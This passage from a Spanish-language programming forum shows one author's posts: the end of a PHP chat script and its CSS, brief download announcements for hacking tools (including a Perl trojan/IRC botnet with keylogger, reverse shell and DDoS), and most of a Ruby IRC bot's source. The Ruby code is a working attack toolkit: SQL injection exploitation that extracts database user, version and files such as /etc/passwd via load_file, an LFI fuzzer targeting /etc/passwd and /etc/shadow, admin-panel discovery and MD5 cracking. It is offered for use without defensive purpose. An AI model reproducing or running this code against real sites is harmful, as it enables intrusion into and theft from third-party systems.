  37.    $resto = $test;
  38.  
  39.    for ($i = 1; $i <= $resto; $i++) {
  40.        @mysql_query("DELETE FROM mensajes where id_comentario='$i'");
  41.    }
  42. }
  43.  
  44. $re = @mysql_query("select * from mensajes order by id_comentario DESC");
  45.  
  46. while ($ver = @mysql_fetch_array($re)) {
  47.    echo "<td><b>" . htmlentities($ver[2]) . "</b> : " . htmlentities($ver[1]) . "</td><tr>";
  48. }
  49.  
  50.  
  51. echo "<br><br><td><br><b>Comment</b><br><br>    
  52. <form action='' method=POST>
  53. Nick : <input type=text name=apodo size=20><br><br>
  54. Text : <input type=text name=msg size=20><br><br>
  55. <input type=submit name=chatentro style='width: 100px;' value=Send>
  56. </form>
  57. <tr>
  58. <td><b>Coded By Doddy H</b></td><tr>
  59. </table>";
  60.  
  61.  
  62. if (isset($_POST['chatentro'])) {
  63.  
  64.    $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  65.  
  66.    $s = mysql_fetch_row($sumo);
  67.  
  68.    foreach ($s as $d) {
  69.        $x_id = $d + 1;
  70.    }
  71.  
  72.    $apodo   = htmlentities(addslashes($_POST['apodo']));
  73.    $mensaje = htmlentities(addslashes($_POST['msg']));
  74.  
  75.    $apodo   = substr($apodo, 0, 70);
  76.    $mensaje = substr($mensaje, 0, 70);
  77.  
  78.    $rex = mysql_query("select mensaje from insultos");
  79.  
  80.    while ($con = mysql_fetch_array($rex)) {
  81.        $mensaje = str_replace($con[0], "#$!*", $mensaje);
  82.        $apodo   = str_replace($con[0], "#$!*", $apodo);
  83.    }
  84.  
  85.    if (is_numeric($x_id)) {
  86.        @mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
  87.    }
  88.  
  89.    echo '<meta http-equiv="refresh" content=0;URL=>';
  90.  
  91. }
  92.  
  93.  
  94. // The End ?
  95.  
  96. ?>
  97.  

chat.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. color:gray;
  15. font-family:helvetica,arial,sans-serif;
  16. font-size:14px;
  17. text-align:center;
  18. }
  19.  
  20. a:link {
  21. text-decoration:none;
  22. color:orange;
  23. }
  24. a:visited {
  25. color:orange;
  26. }
  27. a:hover {
  28. color:orange;
  29. }
  30.  
  31. td,tr {
  32. border-style:solid;
  33. border-color: gray;
  34. border-width: 1px;
  35. background: black;
  36. border: solid #222 2px;
  37. color:gray;
  38. font-family:helvetica,arial,sans-serif;
  39. font-size:14px;
  40. text-align:center;
  41.  
  42. word-wrap: break-word;
  43. word-break:break-all;
  44. }
  45.  
  46. input {
  47. border-style:solid;
  48. border-color: gray;
  49. border-width: 1px;
  50. background: black;
  51. border: solid #222 2px;
  52. color:gray;
  53. font-family:helvetica,arial,sans-serif;
  54. font-size:14px;
  55. }
  56.  
  57. .post {
  58. background-color:black;
  59. color:gray;
  60. margin-bottom:10px;
  61. width:600px;
  62. word-wrap: break-word;
  63. }
  64.  
  65. .post h3 {
  66. background-color:black;
  67. color:orange;
  68. background-color:#000;
  69. border: solid #222 2px;
  70. -webkit-border-radius: 4px;
  71. -moz-border-radius: 4px;
  72. border-radius: 4px;
  73. padding:5px 10px;
  74. }
  75.  
  76. .post_body {
  77. background-color:black;
  78. margin:-20px 0 0 0;
  79. color:white;
  80. background-color:#000;
  81. border: solid #222 2px;
  82. -webkit-border-radius: 4px;
  83. -moz-border-radius: 4px;
  84. border-radius: 4px;
  85. padding:5px 10px;
  86. }
  87.  
  88. /* The End ? */
  89.  

test.php

Código
  1. <body background="test.jpg">
  2.  
  3. <?php
  4.  
  5. include("chat.php");
  6.  
  7. ?>
  8.  

Si quieren bajar el programa lo pueden hacer de aca.

Cualquier sugerencia para mejorar este proyecto diganla para mejorar.

Saludos.
43  Programación / PHP / [PHP] DH Scanner 0.9 en: 20 Noviembre 2015, 23:53 pm
Version mejorada de este scanner en PHP hecho para buscar vulnerabilidades webs.

Tiene las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

Una imagen :



Un video con ejemplo de usos :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
44  Programación / Scripting / [Python-Android] ParanoicScan 0.4 en: 6 Noviembre 2015, 21:08 pm
Version mejorada de este script para scannear con android que incorpora las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

Unas imagenes :























Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
45  Programación / Scripting / [Perl] Project HellStorm 1.2 en: 24 Octubre 2015, 03:06 am
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar
  • Da informacion sobre la computadora
  • Abrir y cerrar CD
  • Ocultar y mostrar barra de inicio o iconos del escritorio
  • Hacer hablar a la computadora para que diga lo que queramos
  • Mandar mensajitos
  • Consola de comandos
  • Administracion de procesos
  • ReverseShell
  • Cambiar fondo de escritorio
  • Mover mouse
  • Cargar word para que escriba solo
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
46  Programación / Scripting / Re: [Perl] Project Arsenal X 0.2 en: 22 Octubre 2015, 16:13 pm
Sirve tanto en Windows como en Linux , el tema es que usa un modulo que es solo de Windows , tendrias que comentarlo para que no tire errores en Linux.

Saludos.
47  Programación / Scripting / [Perl] Project Arsenal X 0.2 en: 9 Octubre 2015, 22:14 pm
Hoy les traigo la nueva version de mi proyecto Arsenal X escrito en Perl , esta basando en el juego HackTheGame , tiene las siguientes opciones :

  • Gmail Inbox
  • Client Whois
  • Ping
  • Downloader
  • Get IP
  • Locate IP
  • K0bra SQLI Scanner
  • Crackear varios hashes MD5
  • Buscar panel de administracion
  • Port Scanner
  • Multi Cracker con soporte para FTP,TELNET,POP3
  • Ejecucion de comandos en la consola

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
48  Programación / Scripting / [Ruby] ClapTrap IRC Bot 0.5 en: 26 Septiembre 2015, 00:04 am
Traduccion a Ruby de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII  

El codigo :

Código
  1. #!usr/bin/ruby
  2. #Claptrap IRC Bot 0.5
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "socket"
  6. require "open-uri"
  7. require "net/http"  
  8. require "resolv"
  9. require "base64"
  10. require "digest/md5"
  11.  
  12. $timeout = "1"
  13.  
  14. # Functions
  15.  
  16. def head()
  17. print "\n\n
  18.  @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
  19. @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
  20. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  21. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  22. @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
  23. @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
  24. @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
  25. @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
  26.  @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@
  27.  \n\n"
  28. end
  29.  
  30. def copyright()
  31. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  32. end
  33.  
  34. #
  35.  
  36. # Functions ClapTrap
  37.  
  38. def get_ip(hostname)
  39. begin
  40. return Resolv.getaddress(hostname)
  41. rescue
  42. return "Error"
  43. end
  44. end
  45.  
  46. def toma(web)
  47. begin
  48. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  49. rescue
  50. return "Error"
  51. end
  52. end
  53.  
  54. def response_code(web)
  55. begin
  56. return Net::HTTP.get_response(URI(web)) .code
  57. rescue
  58. return "404"
  59. end
  60. end
  61.  
  62. def tomar(web,arg)
  63. begin
  64. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  65. uri = URI(web)
  66. http = Net::HTTP.new(uri.host, uri.port)
  67. return http.post(uri.path,arg, headers).body
  68. rescue
  69. return "Error"
  70. end
  71. end
  72.  
  73. def toma_ssl(web)
  74. uri = URI.parse(web)
  75. nave = Net::HTTP.new(uri.host, uri.port)
  76. nave.use_ssl = true
  77. nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  78. return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  79. end
  80.  
  81. def cortar(pages)
  82. final = ""
  83. finales = []
  84. pages.flatten.each do |page|
  85. if page=~/(.*)=(.*)/
  86. parte1 = $1
  87. parte2 = $2
  88. final = parte1 + "="
  89. finales.push(final)
  90. end
  91. end
  92. return finales
  93. end
  94.  
  95.  
  96. def google(dork,pages)
  97.  
  98. links = []
  99. dork = dork.sub(/ /,"+")
  100. contador = 0
  101. for i in ("1"..pages)
  102. contador+=10
  103. code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  104. paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  105. paginas.flatten.each do |pagina|
  106. partes = pagina
  107. if partes=~/url\?q=(.*)&amp;sa/
  108. parte = $1
  109. link = URI::decode(parte)
  110. links.push(link)
  111. end
  112. end
  113. end
  114. links = links.uniq
  115. return links
  116. end
  117.  
  118. def google_recursive(dork,pages)
  119. dork = dork.sub(/ /,"+")
  120. contador = 0
  121. guardo = []
  122. for i in ("1"..pages)
  123. contador+=10
  124. url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  125. code = toma_ssl(url)
  126. links = URI::extract(code)
  127. links.each do |link|
  128. if link=~/cache:(.*?):(.*?)\+/
  129. link_final = "http://"+$2
  130. link_final = URI::decode(link_final)
  131. guardo.push(link_final)
  132. end
  133. end
  134. end
  135. guardo = guardo.uniq
  136. return guardo
  137. end
  138.  
  139. def bing(dork,pages)
  140.  
  141. guardo = []
  142. dork = dork.sub(/ /,"+")
  143. contador = 0
  144. for i in ("1"..pages)
  145. contador+=10
  146.  
  147. code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  148.  
  149. links = code.scan(/<h2><a href="(.*?)" h/)
  150.  
  151. links.flatten.each do |link|
  152. link_final = URI::decode(link)
  153. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  154. guardo.push(link_final)
  155. end
  156. end
  157.  
  158. links = code.scan(/<h3><a href="(.*?)" h/)
  159.  
  160. links.flatten.each do |link|
  161. link_final = URI::decode(link)
  162. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  163. guardo.push(link_final)
  164. end
  165. end
  166. end
  167. guardo = guardo.uniq
  168. return guardo
  169. end
  170.  
  171. def bypass(op)
  172.  if op=="--"
  173.    return "+","--"
  174.  elsif op=="/*"
  175.   return "/**/","/**/"
  176.  elsif op=="%20"
  177.   return "%20","%00"
  178.  else
  179.   return "+","--"    
  180.  end
  181. end
  182.  
  183. def decode_hex(text)
  184.  text = text.sub("0x","")
  185.  return [text].pack('H*')
  186. end
  187.  
  188. def encode_hex(text)
  189.  return "0x"+text.unpack('H*')[0]
  190. end
  191.  
  192. def httpfinger(page)
  193. respuesta = ""
  194. begin
  195. nave = Net::HTTP.start(page)
  196. headers = nave.head("/")
  197. headers.each do |name,value|
  198. respuesta = respuesta + "[+] "+name+" : "+value+"\n"
  199. end
  200. nave.finish
  201. rescue
  202. respuesta = "Error"
  203. end
  204. return respuesta
  205. end
  206.  
  207. ##
  208.  
  209. def locateip(target)
  210.  
  211. resultado = ""
  212.  
  213. resultado = resultado + "\n[+] Getting IP ...\n"
  214.  
  215. ip = get_ip(target)
  216.  
  217. resultado = resultado + "\n[+] IP : "+ip+"\n"
  218.  
  219. web = "http://www.melissadata.com/lookups/iplocation.asp"
  220. resultado = resultado + "\n[+] Locating ...\n\n"
  221.  
  222. code = tomar(web,"ipaddress="+ip+"&btn=Submit")
  223.  
  224. if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  225. resultado = resultado + "[+] City : "+$2+"\n"
  226. else
  227. resultado = resultado + "[+] City : Not Found\n"
  228. end
  229.  
  230. if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  231. resultado = resultado + "[+] Country : "+$2+"\n"
  232. else
  233. resultado = resultado + "[+] Country : Not Found\n"
  234. end
  235.  
  236. if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  237. resultado = resultado + "[+] State or Region : "+$2+"\n";
  238. else
  239. resultado = resultado + "[+] State of Region : Not Found\n"
  240. end
  241.  
  242. resultado = resultado + "\n[+] Getting DNS ...\n\n"
  243.  
  244. control = "0"
  245.  
  246. code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  247.  
  248. dnss = code.scan(/whois\/(.*?)\">Whois/)
  249.  
  250. dnss.flatten.each do |dns|
  251. begin
  252. if dns != ""
  253. control = "1"
  254. resultado = resultado + "[+] DNS Found : "+dns
  255. end
  256. end
  257. end
  258.  
  259. if control=="0"
  260. resultado = resultado + "\n[-] DNS Not Found\n"
  261. end
  262. return resultado
  263. end
  264.  
  265. def details(url,by)
  266.  pass1,pass2 = bypass(by)
  267.  resultado = ""
  268.  hextest = "0x2f6574632f706173737764" #/etc/passwd
  269.  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  270.  web1 = url.sub(/hackman/,"0x4b30425241")
  271.  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  272.  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
  273.   resultado = resultado + "\n[+] Extracting information of the DB\n"
  274.  code1 = toma(web2)
  275.  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
  276.    user,data,ver = $1,$2,$3
  277.    resultado = resultado + "\n[+] Username : "+user
  278.    resultado = resultado + "\n[+] Database : "+data
  279.    resultado = resultado + "\n[+] Version : "+ver+"\n\n"
  280.  else
  281.    resultado = resultado + "[-] Not Found\n"
  282.  end
  283.   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  284.   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  285.   code4 = toma(web3)
  286.   if code2=~/K0BRA/
  287.     resultado = resultado + "[+] Mysql User : ON\n"
  288.   end
  289.   if code3=~/K0BRA/
  290.     resultado = resultado + "[+] information_schema : ON\n"
  291.   end
  292.   if code4=~/ERTOR854/
  293.     resultado = resultado + "[+] load_file : ON\n"
  294.   end  
  295.   return resultado
  296. end
  297.  
  298. def findlength(url,by)
  299.  pass1,pass2 = bypass(by)
  300.  z = "1"
  301.  control = "0"
  302.  resultado = ""
  303.  resultado = resultado + "\n[+] Finding columns lenght ...\n\n"
  304.  x = "concat(0x4b30425241,1,0x4b30425241)"
  305.  for num in ('2'..'25')
  306.    z = z+","+num
  307.    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
  308.    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
  309.    if code=~/K0BRA(.*?)K0BRA/
  310.      resultado = resultado + "[+] The Page has "+num+" columns\n"
  311.      resultado = resultado + "[+] The number "+$1+" print data\n"
  312.      z = z.sub($1,"hackman")
  313.      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
  314.      control = "1"
  315.      break
  316.    end
  317.  end
  318.  if control != "1"
  319.    resultado = resultado + "[-] Columns lenght not found\n"
  320.  end
  321.  return resultado,sqli,control
  322. end
  323.  
  324. def scanner_sqli(page,by)
  325.  pass1,pass2 = bypass(by)
  326.  resultado = ""
  327.  rta1 = ""
  328.  rta2 = ""
  329.  resultado =  resultado + "[+] Testing vulnerability ...\n\n"
  330.  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  331.  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  332.  if codeuno != codedos
  333.    resultado = resultado + "[+] Vulnerable !\n"
  334.    rta1,sqli,control = findlength(page,by)
  335.    if control=="1"
  336.     rta2 = details(sqli,"--")
  337.    end
  338.  else
  339.    resultado = resultado + "[-] Not Vulnerable\n"
  340.  end
  341.  resultado = resultado + rta1 + rta2
  342.  return resultado
  343. end
  344.  
  345. def scanner_lfi(web)
  346. resultado = ""
  347. files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
  348. resultado = resultado + "[+] Testing the vulnerability LFI...\n\n"
  349. code = toma(web+"'")
  350. if code=~/No such file or directory in <b>(.*)<\/b> on line/
  351. fpd = $1
  352. resultado = resultado + "[+] LFI Detected\n\n"
  353. resultado = resultado + "[Full Path Discloure]: "+fpd+"\n"
  354. resultado = resultado + "\n[+] Fuzzing Files\n\n"
  355. files.each do |file|
  356. code = toma(web+file)
  357. if not code=~/No such file or directory in/
  358. resultado= resultado + "[Link] : "+web+file+"\n"
  359. end
  360. end
  361. resultado = resultado + "\n[+] Done\n"
  362. else
  363. resultado = resultado + "[-] Not Vulnerable to LFI\n\n"
  364. end
  365. return resultado
  366. end
  367.  
  368. def scanner_panel(page)
  369. resultado = ""
  370. panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  371. resultado = resultado + "[+] Scanning ...\n\n"
  372. control = "0"
  373. panels.each do |panel|
  374. begin
  375. url = page+"/"+panel
  376. status_code = response_code(url)
  377. if status_code=="200"
  378. resultado = resultado + "[+] Link : "+url+"\n"
  379. control = "1"
  380. end
  381. end
  382. end
  383. if control=="1"
  384. resultado = resultado + "\n[+] Done\n"
  385. else
  386. resultado = resultado + "\n[-] Not Found\n"
  387. end
  388. return resultado
  389. end
  390.  
  391. def get_httpfinger(page)
  392. resultado = ""
  393.        resultado = resultado + "[+] Searching ...\n\n"
  394. resultado = resultado + httpfinger(page)
  395. return resultado
  396. end
  397.  
  398. def crack_md5(md5)
  399. resultado = ""
  400. resultado = resultado + "[+] Cracking ...\n\n"
  401.  
  402. code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
  403.  
  404. if code=~/pass : <b>(.*?)<\/b>/
  405. password = $1
  406. resultado = resultado + "[+] md5online.net -> "+password+"\n"
  407. else
  408. resultado = resultado + "[-] md5online.net -> Not Found" + "\n"
  409. end
  410.  
  411. code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
  412.  
  413. if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
  414. password = $1
  415. resultado = resultado + "[+] md5.my-addr.co -> "+password+"\n"
  416. else
  417. resultado = resultado + "[-] md5.my-addr.co -> Not Found" +"\n"
  418. end
  419.  
  420. code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
  421.  
  422. if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
  423. password = $1
  424. resultado = resultado + "[+] md5decryption.com -> "+password+"\n"
  425. else
  426. resultado = resultado +  "[-] md5decryption.com -> Not Found"+"\n"
  427. end
  428.  
  429. return resultado
  430.  
  431. end
  432.  
  433. def tiny_url(page)
  434. resultado = ""
  435. code = toma("http://tinyurl.com/api-create.php?url="+page)
  436. if code=~/http/
  437. resultado = resultado + "[+] Link : "+code
  438. else
  439. resultado = resultado + "[-] Error"
  440. end
  441. return resultado
  442. end
  443.  
  444. def codificar_hex(text)
  445. return "[+] Result : "+encode_hex(text)
  446. end
  447.  
  448. def decodificar_hex(text)
  449. return "[+] Result : "+decode_hex(text)
  450. end
  451.  
  452. def codificar_base64(text)
  453. return "[+] Result : "+Base64.encode64(text).chomp
  454. end
  455.  
  456. def decodificar_base64(text)
  457. return "[+] Result : "+Base64.decode64(text).chomp
  458. end
  459.  
  460. def codificar_ascii(text)
  461. resultado = ""
  462. resultado = resultado + "[+] Result : "+text.split("").map(&:ord).to_s
  463. return resultado
  464. end
  465.  
  466. def md5_encode(text)
  467. return "[+] Result : "+Digest::MD5.hexdigest(text).chomp
  468. end
  469.  
  470.  
  471. def scanner_dns(domain)
  472.  paths = ["www","www1","www2","www3","ftp","ns","mail","3com","aix","apache","back","bind","boreder","bsd","business","chains","cisco","content","corporate","cpv","dns","domino","dominoserver","download","e-mail","e-safe","email","esafe","external","extranet","firebox","firewall","front","fw","fw0","fwe","fw-1","firew","gate","gatekeeper","gateway","gauntlet","group","help","hop","hp","hpjet","hpux","http","https","hub","ibm","ids","info","inside","internal","internet","intranet","ipfw","irix","jet","list","lotus","lotusdomino","lotusnotes","lotusserver","mailfeed","mailgate","mailgateway","mailgroup","mailhost","maillist","mailpop","mailrelay","mimesweeper","ms","msproxy","mx","nameserver","news","newsdesk","newsfeed","newsgroup","newsroom","newsserver","nntp","notes","noteserver","notesserver","nt","outside","pix","pop","pop3","pophost","popmail","popserver","print","printer","private","proxy","proxyserver","public","qpop","raptor","read","redcreek","redhat","route","router","scanner","screen","screening","ecure","seek","smail","smap","smtp","smtpgateway","smtpgw","solaris","sonic","spool","squid","sun","sunos","suse","switch","transfer","trend","trendmicro","vlan","vpn","wall","web","webmail","webserver","webswitch","win2000","win2k","upload","file","fileserver","storage","backup","share","core","gw","wingate","main","noc","home","radius","security","access","dmz","domain","sql","mysql","mssql","postgres","db","database","imail","imap","exchange","sendmail","louts","test","logs","stage","staging","dev","devel","ppp","chat","irc","eng","admin","unix","linux","windows","apple","hp-ux","bigip","pc"]
  473.  resultado = ""
  474.  resultado = resultado + "[+] Searching DNS ...\n\n"
  475.  control = "0"
  476.  paths.each do |path|
  477. begin
  478. url = "http://"+path+"."+domain
  479.  
  480. status_code = response_code(url)
  481. if status_code=="200"
  482. resultado = resultado + "[+] Link : "+url+"\n"
  483. control = "1"
  484. end
  485. end
  486.  end
